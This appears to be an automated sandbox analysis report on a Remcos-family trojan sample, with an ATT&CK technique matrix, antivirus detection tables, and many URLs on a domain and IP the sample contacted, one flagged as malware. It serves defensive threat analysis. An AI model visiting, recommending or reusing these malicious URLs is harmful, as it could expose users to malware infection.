Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\ncIpox4w8f.exe

Code function: 0_3_0493CFA4 LdrInitializeThunk,

0_3_0493CFA4

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Software Packing	OS Credential Dumping	1 System Information Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 DLL Side-Loading	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ncIpox4w8f.exe	52%	Virustotal		Browse
ncIpox4w8f.exe	55%	ReversingLabs	Win32.Trojan.Remcos
ncIpox4w8f.exe	100%	Avira	TR/Injector.ikbgv

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.ncIpox4w8f.exe.2a34530.0.unpack	100%	Avira	TR/Patched.Ren.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
vervain.co.in	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskny	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	0%	Avira URL Cloud	safe
http://www.pregrad.net	0%	Virustotal		Browse
http://www.pregrad.net	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/le	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/pe	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskust	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	0%	Avira URL Cloud	safe
https://vervain.co.in/K	0%	Avira URL Cloud	safe
https://vervain.co.in/N	0%	Avira URL Cloud	safe
https://vervain.co.in/E	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskny	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	0%	Avira URL Cloud	safe
https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaima	0%	Avira URL Cloud	safe
https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk	100%	Avira URL Cloud	malware
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk	0%	Avira URL Cloud	safe
http://www.pregrad.netopenU	0%	Avira URL Cloud	safe
https://vervain.co.in/j	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	0%	Avira URL Cloud	safe
https://vervain.co.in/c	0%	Avira URL Cloud	safe
https://vervain.co.in/h	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskity	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk	0%	Avira URL Cloud	safe
https://vervain.co.in/a	0%	Avira URL Cloud	safe
http://www.emerge.deDVarFileInfo$	0%	Avira URL Cloud	safe
https://vervain.co.in/	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk4.1.1	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	0%	Avira URL Cloud	safe
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm	0%	Avira URL Cloud	safe
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm	0%	Avira URL Cloud	safe
http://www.emerge.de	0%	Avira URL Cloud	safe
https://vervain.co.in/pe	0%	Avira URL Cloud	safe
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	0%	Avira URL Cloud	safe
https://vervain.co.in/t	0%	Avira URL Cloud	safe
https://vervain.co.in/rpriseCertificates	0%	Avira URL Cloud	safe
https://vervain.co.in/le	0%	Avira URL Cloud	safe
https://vervain.co.in/roso	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vervain.co.in	199.79.62.221	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity	ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskny	ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.pregrad.net	ncIpox4w8f.exe, ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.240443204.00000000029B8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.289638766.0000000004F68000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293026511.0000000005550000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.251263320.0000000005388000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.292545915.0000000005344000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.326228795.000000000552E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.258002144.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.338081452.000000000547E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.337053722.0000000005478000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324769245.0000000005528000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.245693873.0000000004940000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.333581477.0000000005518000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/le	ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.344946189.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/pe	ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.250684430.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.255360203.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.252950036.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/	ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t	ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskust	ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e	ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/K	ncIpox4w8f.exe, 00000000.00000003.313047462.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280241715.000000000080F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/N	ncIpox4w8f.exe, 00000000.00000003.401161238.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.405146329.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382108941.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416691334.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.435949378.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.393118648.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.411977070.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443210600.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384479510.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433570492.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.483953097.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.440772986.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/E	ncIpox4w8f.exe, 00000000.00000003.303406339.000000000080F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e	ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266148150.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
